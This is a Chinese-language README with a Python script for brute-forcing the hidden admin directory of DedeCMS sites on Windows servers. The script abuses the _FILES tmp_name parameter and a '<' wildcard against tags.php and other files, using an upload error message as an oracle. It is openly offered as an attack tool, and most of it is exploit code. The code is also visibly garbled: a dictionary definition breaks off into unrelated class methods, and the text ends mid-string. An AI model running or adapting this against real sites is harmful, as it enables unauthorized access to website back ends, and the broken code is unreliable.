## dede_burp_admin_path dedecms后台路径爆破脚本(前提:网站环境为Windows环境) #### 说明 > 网上最早得脚本应该是由红日安全团队发布,但是他们得脚本只针对网站根目录下的`tags.php` 文件,包括不全面,如果删掉了这个文件就GG了,现在这个版本是包括了所有可以爆破出后台路径的文件,具体的可以看代码。 ```python #!/usr/bin/env python # 需要requests 模块,请自行使用 pip 安装 '''/* * author = Mochazz * team = 红日安全团队 * env = pyton3 * */ ''' import requests import itertools characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#" back_dir = "" flag = 0 url = "http://192.168.1.9/tags.php" data = { "_FILES[mochazz][tmp_name]" : "./{p}<"+res.text) if "Upload filetype not allow !" in res.text and res.status_code == 200: valid_file.append(filename) except Exception: pass # print (valid_file) # print (valid_file) if len(valid_file): if "/tags.php" in valid_file: for i in valid_file: if i == "/tags.php": return i else: file_name = choice(valid_file) return file_name else: return False def Bute(self): f_name = self.Check() print(f_name) if f_name is not False: if f_name == "/tags.php": prefix = "./" else: prefix = "./../" flag = 0 global characters, back_dir, data, check_message for num in range(1, 7): if flag: break for pre in itertools.permutations(characters, num): pre = ''.join(list(pre)) data["_FILES[tools][tmp_name]"] = data[ "_FILES[tools][tmp_name]"].format(p=pre) print(("testing", pre)) r = requests.post(self.target + f_name, data=data) if "Upload filetype not allow !" not in r.text and r.status_code == 200: flag = 1 back_dir = pre data[ "_FILES[tools][tmp_name]"] = "%s{p}<